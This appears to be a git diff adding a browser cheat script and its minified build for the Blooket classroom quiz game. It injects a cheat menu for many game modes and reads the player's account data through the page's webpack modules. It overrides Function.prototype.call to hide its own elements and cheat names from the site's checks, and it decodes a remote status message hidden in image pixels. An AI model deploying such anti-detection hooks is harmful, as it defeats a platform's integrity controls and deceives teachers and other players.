blooks[players[player].b]?.url, `has a ${amount} ${synergy} synergy!`); + } else if (data.t) this.addAlert(player, blooks[players[player].b]?.url, `now has 10 Blooks!`); + } + standings = Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 })); + break; + } + this.updateLeaderboard(standings.sort((a, b) => b.value - a.value)); + }); + } catch { + return false; + } + }, + diffObjects(obj1, obj2) { + const changed = {}; + + for (const key in obj1) { + if (!(key in obj2)) continue; + if (typeof obj1[key] === "object" && typeof obj2[key] === "object") { + const recChanged = this.diffObjects(obj1[key], obj2[key]); + if (recChanged && Object.keys(recChanged).length !== 0) changed[key] = recChanged; + } else if (JSON.stringify(obj1[key]) !== JSON.stringify(obj2[key])) changed[key] = obj2[key]; + } + + for (const key in obj2) if (!(key in obj1)) changed[key] = obj2[key]; + + if (Object.keys(changed).length == 0) return null; + return changed; + }, + getGamemode() { + switch (window.location.pathname) { + case "/play/racing": + return "racing"; + case "/play/factory": + return "factory"; + case "/play/classic/get-ready": + case "/play/classic/question": + case "/play/classic/answer/sent": + case "/play/classic/answer/result": + case "/play/classic/standings": + return "classic"; + case "/play/battle-royale/match/preview": + case "/play/battle-royale/question": + case "/play/battle-royale/answer/sent": + case "/play/battle-royale/answer/result": + case "/play/battle-royale/match/result": + return "royale"; + case "/play/toy": + return "workshop"; + case "/play/gold": + return "gold"; + case "/play/brawl": + return "brawl"; + case "/play/hack": + return "hack"; + case "/play/fishing": + return "fishing"; + case "/play/rush": + return "rush"; + case "/play/dino": + return "dino"; + case "/tower/map": + case "/tower/battle": + case "/tower/rest": + case "/tower/risk": + case "/tower/shop": + case "/tower/victory": + return "doom"; + case "/cafe": + case "/cafe/shop": + return "cafe"; + case "/defense": + return "defense"; + case "/play/defense2": + return "defense2"; + case "/kingdom": + return "kingdom"; + default: + return false; + } + } + } + ] + }; + + addMode("Alerts", null, Cheats.alerts, true); + addMode("Global", "https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg", Cheats.global)(); + addMode("Gold Quest", "https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg", Cheats.gold); + addMode("Cafe", "https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg", Cheats.cafe); + addMode("Crypto Hack", "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg", Cheats.crypto); + addMode("Deceptive Dinos", [``], Cheats.dinos); + addMode("Tower Defense", [``], Cheats.defense); + addMode("Tower Defense 2", [``], Cheats.defense2); + addMode("Factory", "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg", Cheats.factory); + addMode("Fishing Frenzy", "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg", Cheats.fishing); + addMode("Flappy Blook", "https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg", Cheats.flappy); + addMode("Tower of Doom", [``], Cheats.doom); + addMode("Crazy Kingdom", "https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg", Cheats.kingdom); + addMode("Racing", "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg", Cheats.racing); + addMode("Battle Royale", "https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg", Cheats.royale); + addMode("Blook Rush", "data:image/png;base64,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", Cheats.rush); + addMode("Monster Brawl", [``], Cheats.brawl); + addMode("Santa's Workshop", [''], Cheats.workshop); + addMode("Settings", null, Cheats.settings, true); + + dragElement(controls, guiWrapper); + dragElement(dragButton, guiWrapper); + + function dragElement(element, parent) { + var pos1 = 0, pos2 = 0, pos3 = 0, pos4 = 0; + element.onpointerdown = function (e = window.event) { + pos3 = e.clientX; + pos4 = e.clientY; + document.onpointerup = function () { + document.onpointerup = null; + document.onpointermove = null; + }; + document.onpointermove = function (e = window.event) { + pos1 = pos3 - e.clientX; + pos2 = pos4 - e.clientY; + pos3 = e.clientX; + pos4 = e.clientY; + var ratio = 1 || parseFloat((0.75 / window.devicePixelRatio).toFixed(2)); + parent.style.top = (parent.offsetTop - pos2 / ratio) + "px"; + parent.style.left = (parent.offsetLeft - pos1 / ratio) + "px"; + } + } + } + window.addEventListener("keydown", keydown); + let alertInterval = setInterval(() => { + if (!Cheats.alerts[0].connection) Cheats.alerts[0].connect(); + else clearInterval(alertInterval); + }, 5000); + function close() { + guiWrapper.remove(); + clearInterval(alertInterval); + for (const category in Cheats) for (const cheat of Cheats[category]) if (cheat.enabled) cheat.run() + Object.keys(Cheats).forEach(mode => Cheats[mode].forEach(cheat => cheat.enabled && (cheat.run(), setCheats(...currentMode)))); + window.removeEventListener("keydown", keydown); + }; + let last; + guiWrapper.addEventListener("mousemove", e => { + if (e.target.className != "cheatName" && e.target.className != "scriptButton") { + if (tooltip.style.opacity != "0") { + tooltip.animate([{ opacity: 0.9 }, { opacity: 0 }], { duration: 200 }); + tooltip.style.opacity = "0"; + } + return; + } + const target = e.target.className == "scriptButton" ? e.target : e.target.parentElement; + if (tooltip.innerText == target.dataset.description && tooltip.style.opacity == "0.9") return; + const button = target.getBoundingClientRect(); + const parent = target.offsetParent.getBoundingClientRect(); + tooltip.innerText = target.dataset.description; + if (tooltip.style.opacity == "0") { + tooltip.animate([{ opacity: 0 }, { opacity: 0.9 }], { duration: 200 }); + tooltip.style.opacity = "0.9"; + } + tooltip.style.left = (button.x - parent.x) + (button.width - tooltip.clientWidth) / 2 + "px"; + tooltip.style.top = (button.y - parent.y) + (button.height) + "px"; + }); + function keydown(e) { + let hideKey = Settings.data.hide || { ctrl: true, key: "e" }; + let closeKey = Settings.data.close || { ctrl: true, key: "x" }; + if (((hideKey.ctrl && e.ctrlKey) || (!hideKey.ctrl && !e.ctrlKey)) && ((hideKey.shift && e.shiftKey) || (!hideKey.shift && !e.shiftKey)) && ((hideKey.alt && e.altKey) || (!hideKey.alt && !e.altKey)) && e.key.toLowerCase() == hideKey.key) { + e.preventDefault(); + guiWrapper.style.display = guiWrapper.style.display === "block" ? "none" : "block"; + } else if (((closeKey.ctrl && e.ctrlKey) || (!closeKey.ctrl && !e.ctrlKey)) && ((closeKey.shift && e.shiftKey) || (!closeKey.shift && !e.shiftKey)) && ((closeKey.alt && e.altKey) || (!closeKey.alt && !e.altKey)) && e.key.toLowerCase() == closeKey.key) { + e.preventDefault(); + close(); + } + } + function createKeybindListener(onpress, element = window) { + return new Promise(resolve => { + const pressed = {}; + let shift, ctrl, alt, key; + const keydown = e => { + e.preventDefault(); + pressed[e.code] = true; + shift ||= e.shiftKey; + ctrl ||= e.ctrlKey; + alt ||= e.altKey; + if (!["shift", "control", "alt", "meta"].includes(e.key.toLowerCase())) key = e.key.toLowerCase(); + onpress?.({ shift, ctrl, alt, key }); + }; + const keyup = e => { + delete pressed[e.code]; + if (Object.keys(pressed).length > 0) return; + element.removeEventListener("keydown", keydown); + element.removeEventListener("keyup", keyup); + resolve({ shift, ctrl, alt, key }); + }; + element.addEventListener("keydown", keydown); + element.addEventListener("keyup", keyup); + }); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gui.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272337 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/gui.min.js b/cheats/gui.min.js new file mode 100644 index 0000000..50db487 --- /dev/null +++ b/cheats/gui.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tgui.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{if(String(Function.prototype.call).includes("native")){let e=Function.prototype.call,t=document.createElement("iframe"),a=(document.body.append(t),t.style.display="none",{querySelectorAll:function(){return["#JODGUI","#JODMOBILE","#currPageEl","#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx","#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2",".cheatList",".cheatName","bG1mYW8=","#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])?[]:t.contentDocument.querySelectorAll.apply(document,arguments)},querySelector:t.contentDocument.querySelector.bind(document),includes:function(){return!["Cheats","Global","Global Cheats","Discord - oneminesraft2","Auto Answer (Toggle)","Auto Sell Dupes On Open","Spam Buy Blooks","Food Game","Change Blook Ingame","Get Daily Rewards","Remove Name Limit","Simulate Unlock","Cheat ESP","Gold Quest Cheats","Cafe Cheats","Crypto Hack Cheats","Deceptive Dinos Cheats","Tower Defense Cheats","Tower Defense2 Cheats","Factory Cheats","Fishing Frenzy Cheats","Flappy Blook Cheats","Tower of Doom Cheats","Crazy Kingdom Cheats","Racing Cheats","Battle Royale Cheats","Blook Rush Cheats","Monster Brawl Cheats","Santa's Workshop Cheats"].includes(arguments[0])&&t.contentWindow.String.prototype.call(this,arguments)},fetch:t.contentWindow.fetch.bind(window),btoa:t.contentWindow.btoa.bind(window),getItem:t.contentWindow.localStorage.getItem.bind(window.localStorage)}),o=Object.keys(a);Function.prototype.call=function(){return o.includes(this.name)?e.apply(a[this.name],arguments):e.apply(this,arguments)}}function v(e,t={},...a){var o=document.createElement(e);if("object"==typeof t.style){let e="";for(const s in t.style)e+=`${s.replace(/[A-Z]/g,e=>"-"+e.toLowerCase())}: ${t.style[s]}; `;t.style=e}for(const n in t)o[n]=t[n];for(const r of a)o.append(r);return o}var e,t,a,o,s,n,r,i=await Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache).find(e=>e.exports.a?.me).exports.a.me({})||{};let l=btoa(i.name||"real"),c=btoa(i.id||"lmfao").replaceAll(/(=|\/|\.)/g,"");const d={data:null,setItem(e,s){return e.split(".").reduce((e,t,a,o)=>(++a==o.length&&(e[t]=s),e[t]),this.data),localStorage.setItem(l,JSON.stringify(this.data)),this.data},deleteItem(e){return e.split(".").reduce((e,t,a,o)=>(++a==o.length&&delete e[t],e[t]),this.data),localStorage.setItem(l,JSON.stringify(this.data)),this.data},setData(e){this.data=e,localStorage.setItem(l,JSON.stringify(this.data))}};try{d.data=JSON.parse(localStorage.getItem(l)||"{}");for(const L of["backgroundColor","cheatList","contentBackground","defaultButton","disabledButton","enabledButton","infoColor","inputColor","textColor"])d.data[L]&&(d.setItem("theme."+L,d.data[L]),d.deleteItem(L))}catch{d.setData({})}let p,m,u,h,b,g,y,f,w;const k=v("div",{id:c,style:{top:Math.max(10,window.innerHeight-600)/2+"px",left:Math.max(10,window.innerWidth-1e3)/2+"px",transform:`scale(${d.data.scale})`,position:"fixed",height:"80%",width:"80%",maxHeight:"600px",maxWidth:"1000px",zIndex:"999",display:"block"}},p=v("style",{id:"variables",innerHTML:`:root {--backgroundColor: ${d.data?.theme?.backgroundColor||"rgb(11, 194, 207)"};--infoColor: ${d.data?.theme?.infoColor||"#9a49aa"};--cheatList: ${d.data?.theme?.cheatList||"#9a49aa"};--defaultButton: ${d.data?.theme?.defaultButton||"#9a49aa"};--disabledButton: ${d.data?.theme?.disabledButton||"#A02626"};--enabledButton: ${d.data?.theme?.enabledButton||"#47A547"};--textColor: ${d.data?.theme?.textColor||"white"};--inputColor: ${d.data?.theme?.inputColor||"#7a039d"};--contentBackground: ${d.data?.theme?.contentBackground||"rgb(64, 17, 95)"};}`}),v("style",{innerHTML:'.alertList::-webkit-scrollbar{display:none;}.alertList{-ms-overflow-style: none;scrollbar-width: none;}.contentWrapper::-webkit-scrollbar{display:none;}.contentWrapper{-ms-overflow-style: none;scrollbar-width: none;}.cheatButton{position:relative;display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:30px;box-sizing:border-box;cursor:pointer;user-select:none;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}.cheatInput,select{min-width:200px;padding-block:5px;font-family:Nunito,sans-serif;font-weight:400;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px;color:var(--textColor)}.bigButton:hover{filter:brightness(110%);transform:translateY(-2px)}.bigButton:active{transform:translateY(2px)}.cheatList::-webkit-scrollbar{width:10px}.cheatList::-webkit-scrollbar-track{background:var(--cheatList)}.cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow: inset -10px 0 rgb(0 0 0 / 20%)}.cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList); box-shadow: inset -10px 0 rgb(0 0 0 / 30%); }.scriptButton:hover{filter:brightness(120%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px;text-align:center}.scriptButton{align-items: center; box-sizing: border-box; display: flex; flex-direction: column; justify-content: center; margin: 10px; padding: 5px 5px 11px; position: relative; width: 250px; font-family: Nunito, sans-serif; font-weight: 400; color: var(--textColor); box-shadow: inset 0 -6px rgb(0 0 0 / 20%); border-radius: 7px; cursor: pointer; transition: filter .25s;}.tooltip::after {content: "";position: absolute;width: 10px;height: 10px;background-color: inherit;top: -5px;left: 50%;margin-left: -6px;transform: rotate(135deg)}'}),m=v("div",{style:{width:"100%",height:"100%",position:"relative",outline:"3px solid #3a3a3a",borderRadius:"15px",overflow:"hidden"}},v("div",{id:"background",style:{display:"block",top:"0",left:"0",height:"100%",overflowY:"hidden",overflowX:"hidden",position:"absolute",width:"100%",background:"var(--backgroundColor)",visibility:"visible"}},v("div",{id:"backgroundImage",style:{backgroundImage:"url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",display:"block",height:"200%",position:"absolute",width:"200%",top:"50%",left:"50%",backgroundPositionX:"-100px",backgroundPositionY:"-100px",backgroundSize:"550px",visibility:"visible",transform:"translate(-50%,-50%) rotate(15deg)",appearance:"none",opacity:"0.175"}})),h=v("div",{id:"controls",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",paddingInline:"15px",position:"absolute",left:"220px",top:"0",visibility:"visible",zIndex:"5",height:"52px",width:"max-content",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomRightRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerText:([{ctrl:i,shift:e,alt:t,key:a},{ctrl:o,shift:s,alt:n,key:r}]=[d.data.hide||{ctrl:!0,key:"e"},d.data.close||{ctrl:!0,key:"x"}],`${[i&&"Ctrl",e&&"Shift",t&&"Alt",a&&a.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[o&&"Ctrl",s&&"Shift",n&&"Alt",r&&r.toUpperCase()].filter(Boolean).join(" + ")} for quick disable\nClick and drag here`),update:({ctrl:e,shift:t,alt:a,key:o}={ctrl:!0,key:"e"},{ctrl:s,shift:n,alt:r,key:i}={ctrl:!0,key:"x"})=>h.innerText=`${[e&&"Ctrl",t&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[s&&"Ctrl",n&&"Shift",r&&"Alt",i&&i.toUpperCase()].filter(Boolean).join(" + ")} for quick disable\nClick and drag here`}),v("div",{id:"credits",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",position:"absolute",right:"0",top:"0",visibility:"visible",zIndex:"5",height:"47px",width:"210px",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomLeftRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerHTML:"GitHub - 05Konz"}),b=v("div",{id:"controlButtons",style:{display:"flex",alignItems:"center",justifyContent:"center",position:"absolute",right:"0",bottom:"0",visibility:"visible",zIndex:"5",height:"55px",width:"165px",background:"#none",borderLeft:"3px solid black",borderTop:"3px solid black",borderTopLeftRadius:"10px",color:"white",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text",overflow:"hidden",pointerEvents:"all"}},g=v("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"#00a0ff",border:"none",fontSize:"2rem",cursor:"move"},innerHTML:"✥"}),v("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"grey",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"-",onclick:function(){let t=!1;return()=>{for(var e of[...m.children])e!=b&&(t?e.style.display=e.style._display:(e.style._display=e.style.display,e.style.display="none"));m.style.height=t?"100%":"55px",m.style.width=t?"100%":"165px",k.style.top=parseInt(k.style.top)+(k.offsetHeight-55)*(t?-1:1)+"px",k.style.left=parseInt(k.style.left)+(k.offsetWidth-165)*(t?-1:1)+"px",k.style.pointerEvents=t?"unset":"none",t=!t}}()}),v("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"red",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"X",onclick:O})),u=v("div",{className:"cheatList",style:{overflowY:"scroll",background:"var(--cheatList)",boxShadow:"inset -10px 0 rgb(0 0 0 / 20%)",zIndex:"5",width:"220px",position:"absolute",top:"0",left:"0",height:"100%",fontFamily:"Titan One",color:"var(--textColor)",fontSize:"40px",textAlign:"center",paddingTop:"20px",userSelect:"none",padding:"20px 10px 20px 0",boxSizing:"border-box",display:"flex",flexDirection:"column"},innerHTML:'Cheats'},v("a",{className:"bigButton",style:{cursor:"pointer",display:"block",fontFamily:"Titan One",margin:"20px auto 10px",position:"relative",transition:".25s",textDecoration:"none",userSelect:"none",visibility:"visible"},target:"_blank",href:"https://github.com/05Konz/Blooket-Cheats",innerHTML:`
\n
\n
\n
\n \n \n \n GitHub\n
\n
